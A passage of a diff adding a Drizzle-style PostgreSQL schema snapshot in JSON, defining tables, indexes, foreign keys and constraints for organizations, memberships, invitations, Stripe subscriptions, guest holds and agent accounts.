"method": "btree", + "with": {} + } + }, + "foreignKeys": { + "org_domains_orgId_organizations_id_fk": { + "name": "org_domains_orgId_organizations_id_fk", + "tableFrom": "org_domains", + "tableTo": "organizations", + "columnsFrom": [ + "orgId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "org_domains_createdBy_users_id_fk": { + "name": "org_domains_createdBy_users_id_fk", + "tableFrom": "org_domains", + "tableTo": "users", + "columnsFrom": [ + "createdBy" + ], + "columnsTo": [ + "id" + ], + "onDelete": "set null", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": { + "org_domains_emailTokenHash_unique": { + "name": "org_domains_emailTokenHash_unique", + "nullsNotDistinct": false, + "columns": [ + "emailTokenHash" + ] + }, + "org_domains_org_domain_key": { + "name": "org_domains_org_domain_key", + "nullsNotDistinct": false, + "columns": [ + "orgId", + "domain" + ] + } + }, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.org_invitations": { + "name": "org_invitations", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "orgId": { + "name": "orgId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "email": { + "name": "email", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "role": { + "name": "role", + "type": "OrgRole", + "typeSchema": "public", + "primaryKey": false, + "notNull": true, + "default": "'MEMBER'" + }, + "tokenHash": { + "name": "tokenHash", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "invitedBy": { + "name": "invitedBy", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "expiresAt": { + "name": "expiresAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true + }, + "acceptedAt": { + "name": "acceptedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "createdAt": { + "name": "createdAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "(now() at time zone 'utc')" + } + }, + "indexes": { + "org_invitations_email_idx": { + "name": "org_invitations_email_idx", + "columns": [ + { + "expression": "lower(\"email\")", + "asc": true, + "isExpression": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "org_invitations_open_org_email_key": { + "name": "org_invitations_open_org_email_key", + "columns": [ + { + "expression": "orgId", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "lower(\"email\")", + "asc": true, + "isExpression": true, + "nulls": "last" + } + ], + "isUnique": true, + "where": "\"org_invitations\".\"acceptedAt\" IS NULL", + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "org_invitations_orgId_organizations_id_fk": { + "name": "org_invitations_orgId_organizations_id_fk", + "tableFrom": "org_invitations", + "tableTo": "organizations", + "columnsFrom": [ + "orgId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "org_invitations_invitedBy_users_id_fk": { + "name": "org_invitations_invitedBy_users_id_fk", + "tableFrom": "org_invitations", + "tableTo": "users", + "columnsFrom": [ + "invitedBy" + ], + "columnsTo": [ + "id" + ], + "onDelete": "set null", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": { + "org_invitations_tokenHash_unique": { + "name": "org_invitations_tokenHash_unique", + "nullsNotDistinct": false, + "columns": [ + "tokenHash" + ] + } + }, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.org_member_departures": { + "name": "org_member_departures", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "orgId": { + "name": "orgId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "userId": { + "name": "userId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "reason": { + "name": "reason", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "departedAt": { + "name": "departedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "(now() at time zone 'utc')" + } + }, + "indexes": { + "org_member_departures_user_id_idx": { + "name": "org_member_departures_user_id_idx", + "columns": [ + { + "expression": "userId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "org_member_departures_orgId_organizations_id_fk": { + "name": "org_member_departures_orgId_organizations_id_fk", + "tableFrom": "org_member_departures", + "tableTo": "organizations", + "columnsFrom": [ + "orgId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "org_member_departures_userId_users_id_fk": { + "name": "org_member_departures_userId_users_id_fk", + "tableFrom": "org_member_departures", + "tableTo": "users", + "columnsFrom": [ + "userId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": { + "org_member_departures_org_user_key": { + "name": "org_member_departures_org_user_key", + "nullsNotDistinct": false, + "columns": [ + "orgId", + "userId" + ] + } + }, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.org_members": { + "name": "org_members", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "orgId": { + "name": "orgId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "userId": { + "name": "userId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "role": { + "name": "role", + "type": "OrgRole", + "typeSchema": "public", + "primaryKey": false, + "notNull": true, + "default": "'MEMBER'" + }, + "invitedBy": { + "name": "invitedBy", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "joinedAt": { + "name": "joinedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "(now() at time zone 'utc')" + } + }, + "indexes": { + "org_members_one_owner_key": { + "name": "org_members_one_owner_key", + "columns": [ + { + "expression": "orgId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "where": "\"org_members\".\"role\" = 'OWNER'", + "concurrently": false, + "method": "btree", + "with": {} + }, + "org_members_user_id_idx": { + "name": "org_members_user_id_idx", + "columns": [ + { + "expression": "userId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "org_members_orgId_organizations_id_fk": { + "name": "org_members_orgId_organizations_id_fk", + "tableFrom": "org_members", + "tableTo": "organizations", + "columnsFrom": [ + "orgId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "org_members_userId_users_id_fk": { + "name": "org_members_userId_users_id_fk", + "tableFrom": "org_members", + "tableTo": "users", + "columnsFrom": [ + "userId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "org_members_invitedBy_users_id_fk": { + "name": "org_members_invitedBy_users_id_fk", + "tableFrom": "org_members", + "tableTo": "users", + "columnsFrom": [ + "invitedBy" + ], + "columnsTo": [ + "id" + ], + "onDelete": "set null", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": { + "org_members_org_user_key": { + "name": "org_members_org_user_key", + "nullsNotDistinct": false, + "columns": [ + "orgId", + "userId" + ] + } + }, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.org_subscription_funding": { + "name": "org_subscription_funding", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "orgId": { + "name": "orgId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "stripeSubscriptionId": { + "name": "stripeSubscriptionId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "stripeInvoiceId": { + "name": "stripeInvoiceId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "basis": { + "name": "basis", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "paidCents": { + "name": "paidCents", + "type": "integer", + "primaryKey": false, + "notNull": true + }, + "verifiedAt": { + "name": "verifiedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "(now() at time zone 'utc')" + } + }, + "indexes": {}, + "foreignKeys": { + "org_subscription_funding_orgId_organizations_id_fk": { + "name": "org_subscription_funding_orgId_organizations_id_fk", + "tableFrom": "org_subscription_funding", + "tableTo": "organizations", + "columnsFrom": [ + "orgId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": { + "org_subscription_funding_stripeInvoiceId_unique": { + "name": "org_subscription_funding_stripeInvoiceId_unique", + "nullsNotDistinct": false, + "columns": [ + "stripeInvoiceId" + ] + }, + "org_subscription_funding_org_subscription_key": { + "name": "org_subscription_funding_org_subscription_key", + "nullsNotDistinct": false, + "columns": [ + "orgId", + "stripeSubscriptionId" + ] + } + }, + "policies": {}, + "checkConstraints": { + "org_subscription_funding_evidence_check": { + "name": "org_subscription_funding_evidence_check", + "value": "(\"org_subscription_funding\".\"basis\" = 'paid' AND \"org_subscription_funding\".\"paidCents\" > 0) OR (\"org_subscription_funding\".\"basis\" = 'gift' AND \"org_subscription_funding\".\"paidCents\" >= 0)" + } + }, + "isRLSEnabled": false + }, + "public.org_subscriptions": { + "name": "org_subscriptions", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "orgId": { + "name": "orgId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "stripeSubscriptionId": { + "name": "stripeSubscriptionId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "stripeBasePriceId": { + "name": "stripeBasePriceId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "stripeBaseItemId": { + "name": "stripeBaseItemId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "stripeSeatPriceId": { + "name": "stripeSeatPriceId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "stripeSeatItemId": { + "name": "stripeSeatItemId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "extraSeatQuantity": { + "name": "extraSeatQuantity", + "type": "integer", + "primaryKey": false, + "notNull": true, + "default": 0 + }, + "seatRevision": { + "name": "seatRevision", + "type": "integer", + "primaryKey": false, + "notNull": true, + "default": 0 + }, + "status": { + "name": "status", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "gifted": { + "name": "gifted", + "type": "boolean", + "primaryKey": false, + "notNull": false + }, + "giftedExtraSeats": { + "name": "giftedExtraSeats", + "type": "integer", + "primaryKey": false, + "notNull": false + }, + "giftRevision": { + "name": "giftRevision", + "type": "integer", + "primaryKey": false, + "notNull": true, + "default": 0 + }, + "collectionMethod": { + "name": "collectionMethod", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'charge_automatically'" + }, + "currentPeriodStart": { + "name": "currentPeriodStart", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "currentPeriodEnd": { + "name": "currentPeriodEnd", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "cancelAtPeriodEnd": { + "name": "cancelAtPeriodEnd", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": false + }, + "seatsReconciledThrough": { + "name": "seatsReconciledThrough", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "stripeStorageItemId": { + "name": "stripeStorageItemId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "storageBlocks": { + "name": "storageBlocks", + "type": "integer", + "primaryKey": false, + "notNull": true, + "default": 0 + }, + "storageGraceBlocks": { + "name": "storageGraceBlocks", + "type": "integer", + "primaryKey": false, + "notNull": true, + "default": 0 + }, + "storageGraceUntil": { + "name": "storageGraceUntil", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "storageRevision": { + "name": "storageRevision", + "type": "integer", + "primaryKey": false, + "notNull": true, + "default": 0 + }, + "createdAt": { + "name": "createdAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "(now() at time zone 'utc')" + }, + "updatedAt": { + "name": "updatedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "(now() at time zone 'utc')" + } + }, + "indexes": {}, + "foreignKeys": { + "org_subscriptions_orgId_organizations_id_fk": { + "name": "org_subscriptions_orgId_organizations_id_fk", + "tableFrom": "org_subscriptions", + "tableTo": "organizations", + "columnsFrom": [ + "orgId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "restrict", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": { + "org_subscriptions_orgId_unique": { + "name": "org_subscriptions_orgId_unique", + "nullsNotDistinct": false, + "columns": [ + "orgId" + ] + }, + "org_subscriptions_stripeSubscriptionId_unique": { + "name": "org_subscriptions_stripeSubscriptionId_unique", + "nullsNotDistinct": false, + "columns": [ + "stripeSubscriptionId" + ] + } + }, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.organizations": { + "name": "organizations", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "name": { + "name": "name", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "slug": { + "name": "slug", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "avatarUrl": { + "name": "avatarUrl", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "ownerId": { + "name": "ownerId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "policies": { + "name": "policies", + "type": "jsonb", + "primaryKey": false, + "notNull": true, + "default": "'{}'::jsonb" + }, + "stripeCustomerId": { + "name": "stripeCustomerId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "stripeSubscriptionId": { + "name": "stripeSubscriptionId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "seatAutoAdd": { + "name": "seatAutoAdd", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": false + }, + "createdAt": { + "name": "createdAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "(now() at time zone 'utc')" + }, + "updatedAt": { + "name": "updatedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "(now() at time zone 'utc')" + } + }, + "indexes": { + "organizations_owner_id_idx": { + "name": "organizations_owner_id_idx", + "columns": [ + { + "expression": "ownerId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "organizations_ownerId_users_id_fk": { + "name": "organizations_ownerId_users_id_fk", + "tableFrom": "organizations", + "tableTo": "users", + "columnsFrom": [ + "ownerId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "restrict", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": { + "organizations_slug_unique": { + "name": "organizations_slug_unique", + "nullsNotDistinct": false, + "columns": [ + "slug" + ] + }, + "organizations_stripeCustomerId_unique": { + "name": "organizations_stripeCustomerId_unique", + "nullsNotDistinct": false, + "columns": [ + "stripeCustomerId" + ] + } + }, + "policies": {}, + "checkConstraints": { + "organizations_avatar_url_chk": { + "name": "organizations_avatar_url_chk", + "value": "\"organizations\".\"avatarUrl\" IS NULL OR \"organizations\".\"avatarUrl\" ~ ('^/api/orgs/' || \"organizations\".\"id\" || '/avatar/avatar-[a-z0-9]{1,32}\\.(png|jpg|gif|webp)$')" + } + }, + "isRLSEnabled": false + }, + "public.org_guest_holds": { + "name": "org_guest_holds", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "orgId": { + "name": "orgId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "driveId": { + "name": "driveId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "userId": { + "name": "userId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "email": { + "name": "email", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "state": { + "name": "state", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "origin": { + "name": "origin", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "request": { + "name": "request", + "type": "jsonb", + "primaryKey": false, + "notNull": true, + "default": "'{}'::jsonb" + }, + "parked": { + "name": "parked", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "requestedBy": { + "name": "requestedBy", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "createdAt": { + "name": "createdAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "(now() at time zone 'utc')" + } + }, + "indexes": { + "org_guest_holds_org_state_idx": { + "name": "org_guest_holds_org_state_idx", + "columns": [ + { + "expression": "orgId", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "state", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "org_guest_holds_drive_id_idx": { + "name": "org_guest_holds_drive_id_idx", + "columns": [ + { + "expression": "driveId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "org_guest_holds_user_id_idx": { + "name": "org_guest_holds_user_id_idx", + "columns": [ + { + "expression": "userId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "org_guest_holds_user_drive_state_key": { + "name": "org_guest_holds_user_drive_state_key", + "columns": [ + { + "expression": "driveId", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "userId", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "state", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "where": "\"org_guest_holds\".\"userId\" IS NOT NULL", + "concurrently": false, + "method": "btree", + "with": {} + }, + "org_guest_holds_email_drive_state_key": { + "name": "org_guest_holds_email_drive_state_key", + "columns": [ + { + "expression": "driveId", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "lower(\"email\")", + "asc": true, + "isExpression": true, + "nulls": "last" + }, + { + "expression": "state", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "where": "\"org_guest_holds\".\"userId\" IS NULL AND \"org_guest_holds\".\"email\" IS NOT NULL", + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "org_guest_holds_orgId_organizations_id_fk": { + "name": "org_guest_holds_orgId_organizations_id_fk", + "tableFrom": "org_guest_holds", + "tableTo": "organizations", + "columnsFrom": [ + "orgId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "org_guest_holds_driveId_drives_id_fk": { + "name": "org_guest_holds_driveId_drives_id_fk", + "tableFrom": "org_guest_holds", + "tableTo": "drives", + "columnsFrom": [ + "driveId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "org_guest_holds_userId_users_id_fk": { + "name": "org_guest_holds_userId_users_id_fk", + "tableFrom": "org_guest_holds", + "tableTo": "users", + "columnsFrom": [ + "userId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "org_guest_holds_requestedBy_users_id_fk": { + "name": "org_guest_holds_requestedBy_users_id_fk", + "tableFrom": "org_guest_holds", + "tableTo": "users", + "columnsFrom": [ + "requestedBy" + ], + "columnsTo": [ + "id" + ], + "onDelete": "set null", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": { + "org_guest_holds_shape": { + "name": "org_guest_holds_shape", + "value": "(\"org_guest_holds\".\"userId\" IS NOT NULL) <> (\"org_guest_holds\".\"email\" IS NOT NULL) AND (\"org_guest_holds\".\"state\" <> 'suspended' OR \"org_guest_holds\".\"userId\" IS NOT NULL)" + } + }, + "isRLSEnabled": false + }, + "public.agent_account_approvals": { + "name": "agent_account_approvals", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "accountId": { + "name": "accountId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "requestDigest": { + "name": "requestDigest", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "outcome": { + "name": "outcome", + "type": "agent_account_approval_outcome", + "typeSchema": "public", + "primaryKey": false, + "notNull": true + }, + "approvedByUserId": { + "name": "approvedByUserId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "approvedViaSessionId": { + "name": "approvedViaSessionId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "stepUpChallengeId": { + "name": "stepUpChallengeId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "createdAt": { + "name": "createdAt", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "expiresAt": { + "name": "expiresAt", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true + }, + "consumedAt": { + "name": "consumedAt", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "consumedByGrantId": { + "name": "consumedByGrantId", + "type": "text", + "primaryKey": false, + "notNull": false + } + }, + "indexes": { + "agent_account_approvals_account_digest_idx": { + "name": "agent_account_approvals_account_digest_idx", + "columns": [ + { + "expression": "accountId", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "requestDigest", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "agent_account_approvals_accountId_agent_accounts_id_fk": { + "name": "agent_account_approvals_accountId_agent_accounts_id_fk", + "tableFrom": "agent_account_approvals", + "tableTo": "agent_accounts", + "columnsFrom": [ + "accountId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "agent_account_approvals_approvedByUserId_users_id_fk": { + "name": "agent_account_approvals_approvedByUserId_users_id_fk", + "tableFrom": "agent_account_approvals", + "tableTo": "users", + "columnsFrom": [ + "approvedByUserId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": { + "agent_account_approvals_consumed_chk": { + "name": "agent_account_approvals_consumed_chk", + "value": "(\"agent_account_approvals\".\"consumedAt\" IS NULL) = (\"agent_account_approvals\".\"consumedByGrantId\" IS NULL)" + } + }, + "isRLSEnabled": false + }, + "public.agent_account_bindings": { + "name": "agent_account_bindings", + "schema": "", + "columns": { + "accountId": { + "name": "accountId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "agentPageId": { + "name": "agentPageId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "boundByUserId": { + "name": "boundByUserId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "boundAt": { + "name": "boundAt", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "revokedAt": { + "name": "revokedAt", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + } + }, + "indexes": { + "agent_account_bindings_agent_page_id_idx": { + "name": "agent_account_bindings_agent_page_id_idx", + "columns": [ + { + "expression": "agentPageId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "agent_account_bindings_accountId_agent_accounts_id_fk": { + "name": "agent_account_bindings_accountId_agent_accounts_id_fk", + "tableFrom": "agent_account_bindings", + "tableTo": "agent_accounts", + "columnsFrom": [ + "accountId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "agent_account_bindings_agentPageId_pages_id_fk": { + "name": "agent_account_bindings_agentPageId_pages_id_fk", + "tableFrom": "agent_account_bindings", + "tableTo": "pages", + "columnsFrom": [ + "agentPageId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "agent_account_bindings_boundByUserId_users_id_fk": { + "name": "agent_account_bindings_boundByUserId_users_id_fk", + "tableFrom": "agent_account_bindings", + "tableTo": "users", + "columnsFrom": [ + "boundByUserId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": { + "agent_account_bindings_accountId_agentPageId_pk": { + "name": "agent_account_bindings_accountId_agentPageId_pk", + "columns": [ + "accountId", + "agentPageId" + ] + } + }, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.agent_account_delegations": { + "name": "agent_account_delegations", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "accountId": { + "name": "accountId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "agentPageId": { + "name": "agentPageId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "delegatedByUserId": { + "name": "delegatedByUserId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "scope": { + "name": "scope", + "type": "jsonb", + "primaryKey": false, + "notNull": true + }, + "expiresAt": { + "name": "expiresAt", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true + }, + "createdAt": { + "name": "createdAt", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "revokedAt": { + "name": "revokedAt", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + } + }, + "indexes": { + "agent_account_delegations_account_id_idx": { + "name": "agent_account_delegations_account_id_idx", + "columns": [ + { + "expression": "accountId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "agent_account_delegations_accountId_agent_accounts_id_fk": { + "name": "agent_account_delegations_accountId_agent_accounts_id_fk", + "tableFrom": "agent_account_delegations", + "tableTo": "agent_accounts", + "columnsFrom": [ + "accountId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "agent_account_delegations_agentPageId_pages_id_fk": { + "name": "agent_account_delegations_agentPageId_pages_id_fk", + "tableFrom": "agent_account_delegations", + "tableTo": "pages", + "columnsFrom": [ + "agentPageId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "agent_account_delegations_delegatedByUserId_users_id_fk": { + "name": "agent_account_delegations_delegatedByUserId_users_id_fk", + "tableFrom": "agent_account_delegations", + "tableTo": "users", + "columnsFrom": [ + "delegatedByUserId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.agent_accounts": { + "name": "agent_accounts", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "kind": { + "name": "kind", + "type": "agent_account_kind", + "typeSchema": "public", + "primaryKey": false, + "notNull": true + }, + "ownerKind": { + "name": "ownerKind", + "type": "agent_account_owner_kind", + "typeSchema": "public", + "primaryKey": false, + "notNull": true + }, + "ownerUserId": { + "name": "ownerUserId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "ownerAgentPageId": { + "name": "ownerAgentPageId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "ownerDriveId": { + "name": "ownerDriveId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "tenantId": { + "name": "tenantId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "name": { + "name": "name", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "providerSlug": { + "name": "providerSlug", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "allowedOrigins": { + "name": "allowedOrigins", + "type": "jsonb", + "primaryKey": false, + "notNull": true + }, + "auxiliaryOrigins": { + "name": "auxiliaryOrigins", + "type": "jsonb", + "primaryKey": false, + "notNull": true, + "default": "'[]'::jsonb" + }, + "resourceRestrictions": { + "name": "resourceRestrictions", + "type": "jsonb", + "primaryKey": false, + "notNull": true, + "default": "'{}'::jsonb" + }, + "approvalPolicy": { + "name": "approvalPolicy", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "credentialVersion": { + "name": "credentialVersion", + "type": "integer", + "primaryKey": false, + "notNull": true, + "default": 0 + }, + "policyVersion": { + "name": "policyVersion", + "type": "integer", + "primaryKey": false, + "notNull": true, + "default": 1 + }, + "acknowledgment": { + "name": "acknowledgment", + "type": "agent_account_acknowledgment", + "typeSchema": "public", + "primaryKey": false, + "notNull": true + }, + "sessionFormat": { + "name": "sessionFormat", + "type": "agent_account_session_format", + "typeSchema": "public", + "primaryKey": false, + "notNull": false + }, + "sessionHttpEnabled": { + "name": "sessionHttpEnabled", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": false + }, + "status": { + "name": "status", + "type": "agent_account_status", + "typeSchema": "public", + "primaryKey": false, + "notNull": true, + "default": "'active'" + }, + "upstreamRevocation": { + "name": "upstreamRevocation", + "type": "agent_account_upstream_revocation", + "typeSchema": "public", + "primaryKey": false, + "notNull": false + }, + "lastUsedAt": { + "name": "lastUsedAt", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "publicKey": { + "name": "publicKey", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "loginName": { + "name": "loginName", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "createdAt": { + "name": "createdAt", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updatedAt": { + "name": "updatedAt", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "revokedAt": { + "name": "revokedAt", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + } + }, + "indexes": { + "agent_accounts_owner_user_id_idx": { + "name": "agent_accounts_owner_user_id_idx", + "columns": [ + { + "expression": "ownerUserId", 